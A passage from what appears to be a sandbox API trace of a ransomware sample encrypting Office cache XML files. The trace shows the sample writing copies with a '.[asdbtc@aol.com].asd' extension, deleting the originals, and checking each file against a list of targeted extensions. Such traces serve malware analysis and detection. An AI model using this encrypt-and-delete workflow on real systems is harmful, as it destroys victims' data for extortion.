lpOverlapped=0x0) returned 1 [0042.651] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.651] SetEndOfFile (hFile=0x16c) returned 1 [0042.651] CloseHandle (hObject=0x16c) returned 1 [0042.659] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.659] SetEndOfFile (hFile=0x178) returned 1 [0042.660] CloseHandle (hObject=0x178) returned 1 [0042.660] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.660] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0042.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.660] lstrlenW (lpString=".doc") returned 4 [0042.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString=".docx") returned 5 [0042.661] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0042.661] lstrlenW (lpString=".pdf") returned 4 [0042.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString=".xls") returned 4 [0042.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString=".xlsx") returned 5 [0042.661] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0042.661] lstrlenW (lpString=".ppt") returned 4 [0042.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.661] lstrlenW (lpString=".zip") returned 4 [0042.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.661] lstrlenW (lpString=".rar") returned 4 [0042.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString=".bz2") returned 4 [0042.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString=".7z") returned 3 [0042.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.661] lstrlenW (lpString=".dbf") returned 4 [0042.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.661] lstrlenW (lpString=".1cd") returned 4 [0042.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.661] lstrlenW (lpString=".jpg") returned 4 [0042.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.662] lstrlenW (lpString=".doc") returned 4 [0042.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.662] lstrlenW (lpString=".docx") returned 5 [0042.662] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0042.662] lstrlenW (lpString=".pdf") returned 4 [0042.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.662] lstrlenW (lpString=".xls") returned 4 [0042.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.662] lstrlenW (lpString=".xlsx") returned 5 [0042.662] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0042.662] lstrlenW (lpString=".ppt") returned 4 [0042.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.662] lstrlenW (lpString=".zip") returned 4 [0042.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.662] lstrlenW (lpString=".rar") returned 4 [0042.662] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.662] lstrlenW (lpString=".bz2") returned 4 [0042.662] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.662] lstrlenW (lpString=".7z") returned 3 [0042.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.662] lstrlenW (lpString=".dbf") returned 4 [0042.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.662] lstrlenW (lpString=".1cd") returned 4 [0042.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0042.662] lstrlenW (lpString=".jpg") returned 4 [0042.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.663] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.663] lstrlenW (lpString="Setup.xml") returned 9 [0042.663] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.663] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5884) returned 1 [0042.663] CloseHandle (hObject=0x178) returned 1 [0042.663] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.663] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.663] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.663] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.664] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.664] GetLastError () returned 0x0 [0042.664] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0042.687] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0042.688] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.688] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.688] SetEndOfFile (hFile=0x16c) returned 1 [0042.688] CloseHandle (hObject=0x16c) returned 1 [0042.691] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.691] SetEndOfFile (hFile=0x178) returned 1 [0042.691] CloseHandle (hObject=0x178) returned 1 [0042.692] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.692] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0042.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.692] lstrlenW (lpString=".doc") returned 4 [0042.692] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.692] lstrlenW (lpString=".docx") returned 5 [0042.692] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.692] lstrlenW (lpString=".pdf") returned 4 [0042.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.692] lstrlenW (lpString=".xls") returned 4 [0042.692] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.692] lstrlenW (lpString=".xlsx") returned 5 [0042.692] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.693] lstrlenW (lpString=".ppt") returned 4 [0042.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.693] lstrlenW (lpString=".zip") returned 4 [0042.693] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.693] lstrlenW (lpString=".rar") returned 4 [0042.693] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.693] lstrlenW (lpString=".bz2") returned 4 [0042.693] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.693] lstrlenW (lpString=".7z") returned 3 [0042.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.693] lstrlenW (lpString=".dbf") returned 4 [0042.693] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.693] lstrlenW (lpString=".1cd") returned 4 [0042.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.693] lstrlenW (lpString=".jpg") returned 4 [0042.693] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.693] lstrlenW (lpString=".doc") returned 4 [0042.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.693] lstrlenW (lpString=".docx") returned 5 [0042.693] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.693] lstrlenW (lpString=".pdf") returned 4 [0042.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.693] lstrlenW (lpString=".xls") returned 4 [0042.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.694] lstrlenW (lpString=".xlsx") returned 5 [0042.694] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.694] lstrlenW (lpString=".ppt") returned 4 [0042.694] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.694] lstrlenW (lpString=".zip") returned 4 [0042.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.694] lstrlenW (lpString=".rar") returned 4 [0042.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.694] lstrlenW (lpString=".bz2") returned 4 [0042.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.694] lstrlenW (lpString=".7z") returned 3 [0042.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.694] lstrlenW (lpString=".dbf") returned 4 [0042.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.694] lstrlenW (lpString=".1cd") returned 4 [0042.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.694] lstrlenW (lpString=".jpg") returned 4 [0042.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.694] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.694] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0042.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.695] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1231) returned 1 [0042.695] CloseHandle (hObject=0x178) returned 1 [0042.695] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0042.696] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.696] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.696] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.696] GetLastError () returned 0x0 [0042.696] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0042.707] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0042.708] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.708] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0042.708] SetEndOfFile (hFile=0x16c) returned 1 [0042.708] CloseHandle (hObject=0x16c) returned 1 [0042.709] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.709] SetEndOfFile (hFile=0x178) returned 1 [0042.710] CloseHandle (hObject=0x178) returned 1 [0042.710] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.710] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0042.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.710] lstrlenW (lpString=".doc") returned 4 [0042.710] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.710] lstrlenW (lpString=".docx") returned 5 [0042.710] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.710] lstrlenW (lpString=".pdf") returned 4 [0042.710] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.710] lstrlenW (lpString=".xls") returned 4 [0042.710] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString=".xlsx") returned 5 [0042.711] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.711] lstrlenW (lpString=".ppt") returned 4 [0042.711] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.711] lstrlenW (lpString=".zip") returned 4 [0042.711] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.711] lstrlenW (lpString=".rar") returned 4 [0042.711] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString=".bz2") returned 4 [0042.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString=".7z") returned 3 [0042.711] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.711] lstrlenW (lpString=".dbf") returned 4 [0042.711] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.711] lstrlenW (lpString=".1cd") returned 4 [0042.711] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.711] lstrlenW (lpString=".jpg") returned 4 [0042.711] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.711] lstrlenW (lpString=".doc") returned 4 [0042.711] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString=".docx") returned 5 [0042.711] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.711] lstrlenW (lpString=".pdf") returned 4 [0042.711] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.711] lstrlenW (lpString=".xls") returned 4 [0042.712] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.712] lstrlenW (lpString=".xlsx") returned 5 [0042.712] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.712] lstrlenW (lpString=".ppt") returned 4 [0042.712] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.712] lstrlenW (lpString=".zip") returned 4 [0042.712] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.712] lstrlenW (lpString=".rar") returned 4 [0042.712] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.712] lstrlenW (lpString=".bz2") returned 4 [0042.712] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.712] lstrlenW (lpString=".7z") returned 3 [0042.712] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.712] lstrlenW (lpString=".dbf") returned 4 [0042.712] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.712] lstrlenW (lpString=".1cd") returned 4 [0042.712] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0042.712] lstrlenW (lpString=".jpg") returned 4 [0042.712] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.712] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.712] lstrlenW (lpString="Setup.xml") returned 9 [0042.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.713] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1852) returned 1 [0042.713] CloseHandle (hObject=0x178) returned 1 [0042.713] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.713] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.713] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.713] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.713] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.713] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.714] GetLastError () returned 0x0 [0042.714] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x73c, lpOverlapped=0x0) returned 1 [0043.071] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: 